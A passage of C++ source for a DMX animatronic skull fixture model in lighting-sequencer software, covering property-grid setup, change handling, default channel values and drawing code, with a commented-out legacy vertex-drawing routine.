"DmxNodDegOfRot", nod_deg_of_rot)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 1000); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Min Limit", "DmxNodMinLimit", nod_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Nod Max Limit", "DmxNodMaxLimit", nod_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Channel", "DmxJawChannel", jaw_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Min Limit", "DmxJawMinLimit", jaw_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Jaw Max Limit", "DmxJawMaxLimit", jaw_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Channel", "DmxEyeUDChannel", eye_ud_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Min Limit", "DmxEyeUDMinLimit", eye_ud_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye UD Max Limit", "DmxEyeUDMaxLimit", eye_ud_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Channel", "DmxEyeLRChannel", eye_lr_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Min Limit", "DmxEyeLRMinLimit", eye_lr_min_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye LR Max Limit", "DmxEyeLRMaxLimit", eye_lr_max_limit)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 2500); p->SetEditor("SpinCtrl"); p = grid->Append(new wxUIntProperty("Eye Brightness Channel", "DmxEyeBrtChannel", eye_brightness_channel)); p->SetAttribute("Min", 0); p->SetAttribute("Max", 512); p->SetEditor("SpinCtrl"); AddColorTypeProperties(grid); } int DmxSkulltronix::OnPropertyGridChange(wxPropertyGridInterface* grid, wxPropertyGridEvent& event) { if (OnColorPropertyGridChange(grid, event, ModelXml, this) == 0) { return 0; } if (OnPanTiltPropertyGridChange(grid, event, ModelXml, this) == 0) { return 0; } if ("DmxPanMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxPanMinLimit"); ModelXml->AddAttribute("DmxPanMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXPanMinLimit"); return 0; } else if ("DmxPanMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxPanMaxLimit"); ModelXml->AddAttribute("DmxPanMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXPanMaxLimit"); return 0; } else if ("DmxTiltMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxTiltMinLimit"); ModelXml->AddAttribute("DmxTiltMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMinLimit"); return 0; } else if ("DmxTiltMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxTiltMaxLimit"); ModelXml->AddAttribute("DmxTiltMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXTiltMaxLimit"); return 0; } else if ("DmxNodChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodChannel"); ModelXml->AddAttribute("DmxNodChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXNodChannel"); return 0; } else if ("DmxNodOrient" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodOrient"); ModelXml->AddAttribute("DmxNodOrient", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodOrient"); return 0; } else if ("DmxNodDegOfRot" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodDegOfRot"); ModelXml->AddAttribute("DmxNodDegOfRot", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodDegOfRot"); return 0; } else if ("DmxNodMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodMinLimit"); ModelXml->AddAttribute("DmxNodMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodMinLimit"); return 0; } else if ("DmxNodMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxNodMaxLimit"); ModelXml->AddAttribute("DmxNodMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXNodMaxLimit"); return 0; } else if ("DmxJawChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawChannel"); ModelXml->AddAttribute("DmxJawChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXJawChannel"); return 0; } else if ("DmxJawMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawMinLimit"); ModelXml->AddAttribute("DmxJawMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXJawMinLimit"); return 0; } else if ("DmxJawMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxJawMaxLimit"); ModelXml->AddAttribute("DmxJawMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXJawMaxLimit"); return 0; } else if ("DmxEyeBrtChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeBrtChannel"); ModelXml->AddAttribute("DmxEyeBrtChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeBrtChannel"); return 0; } else if ("DmxEyeUDChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDChannel"); ModelXml->AddAttribute("DmxEyeUDChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDChannel"); return 0; } else if ("DmxEyeUDMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDMinLimit"); ModelXml->AddAttribute("DmxEyeUDMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMinLimit"); return 0; } else if ("DmxEyeUDMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeUDMaxLimit"); ModelXml->AddAttribute("DmxEyeUDMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeUDMaxLimit"); return 0; } else if ("DmxEyeLRChannel" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRChannel"); ModelXml->AddAttribute("DmxEyeLRChannel", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRChannel"); return 0; } else if ("DmxEyeLRMinLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRMinLimit"); ModelXml->AddAttribute("DmxEyeLRMinLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMinLimit"); return 0; } else if ("DmxEyeLRMaxLimit" == event.GetPropertyName()) { ModelXml->DeleteAttribute("DmxEyeLRMaxLimit"); ModelXml->AddAttribute("DmxEyeLRMaxLimit", wxString::Format("%d", (int)event.GetPropertyValue().GetLong())); AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); AddASAPWork(OutputModelManager::WORK_RELOAD_MODEL_FROM_XML, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); AddASAPWork(OutputModelManager::WORK_REDRAW_LAYOUTPREVIEW, "DmxSkulltronix::OnPropertyGridChange::DMXEyeLRMaxLimit"); return 0; } return DmxModel::OnPropertyGridChange(grid, event); } void DmxSkulltronix::InitModel() { DmxModel::InitModel(); DisplayAs = "DmxSkulltronix"; screenLocation.SetRenderSize(1, 1); pan_channel = wxAtoi(ModelXml->GetAttribute("DmxPanChannel", "13")); pan_orient = wxAtoi(ModelXml->GetAttribute("DmxPanOrient", "90")); pan_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxPanDegOfRot", "180")); pan_slew_limit = wxAtof(ModelXml->GetAttribute("DmxPanSlewLimit", "0")); tilt_channel = wxAtoi(ModelXml->GetAttribute("DmxTiltChannel", "19")); tilt_orient = wxAtoi(ModelXml->GetAttribute("DmxTiltOrient", "315")); tilt_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxTiltDegOfRot", "90")); tilt_slew_limit = wxAtof(ModelXml->GetAttribute("DmxTiltSlewLimit", "0")); red_channel = wxAtoi(ModelXml->GetAttribute("DmxRedChannel", "24")); green_channel = wxAtoi(ModelXml->GetAttribute("DmxGreenChannel", "25")); blue_channel = wxAtoi(ModelXml->GetAttribute("DmxBlueChannel", "26")); white_channel = wxAtoi(ModelXml->GetAttribute("DmxWhiteChannel", "0")); tilt_min_limit = wxAtoi(ModelXml->GetAttribute("DmxTiltMinLimit", "442")); tilt_max_limit = wxAtoi(ModelXml->GetAttribute("DmxTiltMaxLimit", "836")); pan_min_limit = wxAtoi(ModelXml->GetAttribute("DmxPanMinLimit", "250")); pan_max_limit = wxAtoi(ModelXml->GetAttribute("DmxPanMaxLimit", "1250")); nod_channel = wxAtoi(ModelXml->GetAttribute("DmxNodChannel", "11")); nod_orient = wxAtoi(ModelXml->GetAttribute("DmxNodOrient", "331")); nod_deg_of_rot = wxAtoi(ModelXml->GetAttribute("DmxNodDegOfRot", "58")); nod_min_limit = wxAtoi(ModelXml->GetAttribute("DmxNodMinLimit", "452")); nod_max_limit = wxAtoi(ModelXml->GetAttribute("DmxNodMaxLimit", "745")); jaw_channel = wxAtoi(ModelXml->GetAttribute("DmxJawChannel", "9")); jaw_min_limit = wxAtoi(ModelXml->GetAttribute("DmxJawMinLimit", "500")); jaw_max_limit = wxAtoi(ModelXml->GetAttribute("DmxJawMaxLimit", "750")); eye_brightness_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeBrtChannel", "23")); eye_ud_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeUDChannel", "15")); eye_ud_min_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeUDMinLimit", "575")); eye_ud_max_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeUDMaxLimit", "1000")); eye_lr_channel = wxAtoi(ModelXml->GetAttribute("DmxEyeLRChannel", "17")); eye_lr_min_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeLRMinLimit", "499")); eye_lr_max_limit = wxAtoi(ModelXml->GetAttribute("DmxEyeLRMaxLimit", "878")); SetNodeNames(",,,,,,,Power,Jaw,-Jaw Fine,Nod,-Nod Fine,Pan,-Pan Fine,Eye UD,-Eye UD Fine,Eye LR,-Eye LR Fine,Tilt,-Tilt Fine,-Torso,-Torso Fine,Eye Brightness,Eye Red,Eye Green,Eye Blue"); } void DmxSkulltronix::DisplayModelOnWindow(ModelPreview* preview, xlGraphicsContext* ctx, xlGraphicsProgram* sprogram, xlGraphicsProgram* tprogram, bool is_3d, const xlColor* c, bool allowSelected, bool wiring, bool highlightFirst, int highlightpixel, float* boundingBox) { if (!IsActive()) return; screenLocation.PrepareToDraw(is_3d, allowSelected); screenLocation.UpdateBoundingBox(Nodes); sprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); if (!is_3d) { //not 3d, flatten to the 0 plane ctx->Scale(1.0, 1.0, 0.0); } GetModelScreenLocation().ApplyModelViewMatrices(ctx); }); tprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); if (!is_3d) { //not 3d, flatten to the 0 plane ctx->Scale(1.0, 1.0, 0.0); } GetModelScreenLocation().ApplyModelViewMatrices(ctx); }); DrawModel(preview, ctx, sprogram, tprogram, is_3d, !allowSelected, c); sprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); tprogram->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); if ((Selected || (Highlighted && is_3d)) && c != nullptr && allowSelected) { if (is_3d) { GetModelScreenLocation().DrawHandles(tprogram, preview->GetCameraZoomForHandles(), preview->GetHandleScale(), Highlighted); } else { GetModelScreenLocation().DrawHandles(tprogram, preview->GetCameraZoomForHandles(), preview->GetHandleScale()); } } } void DmxSkulltronix::DisplayEffectOnWindow(ModelPreview* preview, double pointSize) { if (!IsActive() && preview->IsNoCurrentModel()) { return; } bool mustEnd = false; xlGraphicsContext* ctx = preview->getCurrentGraphicsContext(); if (ctx == nullptr) { bool success = preview->StartDrawing(pointSize); if (success) { ctx = preview->getCurrentGraphicsContext(); mustEnd = true; } } if (ctx) { int w, h; preview->GetSize(&w, &h); float scaleX = float(w) * 0.95 / GetModelScreenLocation().RenderWi; float scaleY = float(h) * 0.95 / GetModelScreenLocation().RenderHt; float aspect = screenLocation.GetScaleX(); aspect /= screenLocation.GetScaleY(); if (scaleY < scaleX) { scaleX = scaleY * aspect; } else { scaleY = scaleX / aspect; } float ml, mb; GetMinScreenXY(ml, mb); ml += GetModelScreenLocation().RenderWi / 2; mb += GetModelScreenLocation().RenderHt / 2; preview->getCurrentTransparentProgram()->addStep([=](xlGraphicsContext* ctx) { ctx->PushMatrix(); ctx->Translate(w / 2.0f - (ml < 0.0f ? ml : 0.0f), h / 2.0f - (mb < 0.0f ? mb : 0.0f), 0.0f); ctx->Scale(scaleX, scaleY, 1.0); }); DrawModel(preview, ctx, preview->getCurrentSolidProgram(), preview->getCurrentTransparentProgram(), false, false, nullptr); preview->getCurrentTransparentProgram()->addStep([=](xlGraphicsContext* ctx) { ctx->PopMatrix(); }); } if (mustEnd) { preview->EndDrawing(); } } void DmxSkulltronix::DrawModel(ModelPreview* preview, xlGraphicsContext* ctx, xlGraphicsProgram* sprogram, xlGraphicsProgram* tprogram, bool is3d, bool active, const xlColor* c) { } /* void DmxSkulltronix::DrawModelOnWindow(ModelPreview* preview, DrawGLUtils::xlAccumulator &va, const xlColor *c, float &sx, float &sy, bool active) { if (!IsActive()) return; float pan_angle, pan_angle_raw, tilt_angle, nod_angle, jaw_pos, eye_x, eye_y; float jaw_range_of_motion = -4.0f; float eye_range_of_motion = 3.8f; int channel_value; size_t NodeCount=Nodes.size(); bool beam_off = false; if( pan_channel > NodeCount || tilt_channel > NodeCount || red_channel > NodeCount || green_channel > NodeCount || blue_channel > NodeCount ) { return; } xlColor ccolor(xlWHITE); xlColor pnt_color(xlRED); xlColor eye_color(xlWHITE); xlColor marker_color(xlBLACK); xlColor black(xlBLACK); xlColor base_color(200, 200, 200); xlColor base_color2(150, 150, 150); xlColor color; if (c != nullptr) { color = *c; } int dmx_size = ((BoxedScreenLocation)screenLocation).GetScaleX(); float radius = (float)(dmx_size) / 2.0f; xlColor color_angle; int trans = color == xlBLACK ? blackTransparency : transparency; if( red_channel > 0 && green_channel > 0 && blue_channel > 0 ) { xlColor proxy; Nodes[red_channel-1]->GetColor(proxy); eye_color.red = proxy.red; Nodes[green_channel-1]->GetColor(proxy); eye_color.green = proxy.red; Nodes[blue_channel-1]->GetColor(proxy); eye_color.blue = proxy.red; } if( (eye_color.red == 0 && eye_color.green == 0 && eye_color.blue == 0) || !active ) { eye_color = xlWHITE; beam_off = true; } else { ApplyTransparency(eye_color, trans, trans); marker_color = eye_color; } ApplyTransparency(ccolor, trans, trans); ApplyTransparency(base_color, trans, trans); ApplyTransparency(base_color2, trans, trans); ApplyTransparency(pnt_color, trans, trans); if( pan_channel > 0 ) { channel_value = GetChannelValue(pan_channel-1, true); pan_angle = ((channel_value - pan_min_limit) / (double)(pan_max_limit - pan_min_limit)) * pan_deg_of_rot + pan_orient; } else { pan_angle = 0.0f; } pan_angle_raw = pan_angle; if( tilt_channel > 0 ) { channel_value = GetChannelValue(tilt_channel-1, true); tilt_angle = (1.0 - ((channel_value - tilt_min_limit) / (double)(tilt_max_limit - tilt_min_limit))) * tilt_deg_of_rot + tilt_orient; } else { tilt_angle = 0.0f; } if( nod_channel > 0 ) { channel_value = GetChannelValue(nod_channel-1, true); nod_angle = (1.0 - ((channel_value - nod_min_limit) / (double)(nod_max_limit - nod_min_limit))) * nod_deg_of_rot + nod_orient; } else { nod_angle = 0.0f; } if( jaw_channel > 0 ) { channel_value = GetChannelValue(jaw_channel-1, true); jaw_pos = ((channel_value - jaw_min_limit) / (double)(jaw_max_limit - jaw_min_limit)) * jaw_range_of_motion - 0.5f; } else { jaw_pos = -0.5f; } if( eye_lr_channel > 0 ) { channel_value = GetChannelValue(eye_lr_channel-1, true); eye_x = (1.0 - ((channel_value - eye_lr_min_limit) / (double)(eye_lr_max_limit - eye_lr_min_limit))) * eye_range_of_motion - eye_range_of_motion/2.0; } else { eye_x = 0.0f; } if( eye_ud_channel > 0 ) { channel_value = GetChannelValue(eye_ud_channel-1, true); eye_y = ((channel_value - eye_ud_min_limit) / (double)(eye_ud_max_limit - eye_ud_min_limit)) * eye_range_of_motion - eye_range_of_motion/2.0; } else { eye_y = 0.0f; } if( !active ) { pan_angle = 0.5f * 180 + 90; tilt_angle = 0.5f * 90 + 315; nod_angle = 0.5f * 58 + 331; jaw_pos = -0.5f; eye_x = 0.5f * eye_range_of_motion - eye_range_of_motion/2.0; eye_y = 0.5f * eye_range_of_motion - eye_range_of_motion/2.0; } float sf = 12.0f; float scale = radius / sf; // Create Head dmxPoint3 p1(-7.5f, 13.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p2(7.5f, 13.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p3(13.2f, 6.0f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p8(-13.2f, 6.0f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p4(9, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7(-9, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5(6.3f, -16, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6(-6.3f, -16, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p9(0, 3.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p10(-2.5f, -1.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p11(2.5f, -1.7f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p14(0, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p12(-6, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p16(6, -6.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p13(-3, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p15(3, -11.4f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Back of Head dmxPoint3 p1b(-7.5f, 13.7f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p2b(7.5f, 13.7f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p3b(13.2f, 6.0f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p8b(-13.2f, 6.0f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p4b(9, -11.4f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7b(-9, -11.4f, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5b(6.3f, -16, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6b(-6.3f, -16, -3, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Lower Mouth dmxPoint3 p4m(9, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p7m(-9, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p5m(6.3f, -16+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p6m(-6.3f, -16+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p14m(0, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p12m(-6, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p16m(6, -6.5f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p13m(-3, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 p15m(3, -11.4f+jaw_pos, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Create Eyes dmxPoint3 left_eye_socket(-5, 7.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 right_eye_socket(5, 7.5f, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 left_eye(-5+eye_x, 7.5f+eye_y, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3 right_eye(5+eye_x, 7.5f+eye_y, 0.0f, sx, sy, scale, pan_angle, tilt_angle, nod_angle); // Draw Back of Head va.AddVertex(p1.x, p1.y, base_color2); va.AddVertex(p1b.x, p1b.y, base_color2); va.AddVertex(p2.x, p2.y, base_color2); va.AddVertex(p2b.x, p2b.y, base_color2); va.AddVertex(p1b.x, p1b.y, base_color2); va.AddVertex(p2.x, p2.y, base_color2); va.AddVertex(p2.x, p2.y, base_color); va.AddVertex(p2b.x, p2b.y, base_color); va.AddVertex(p3.x, p3.y, base_color); 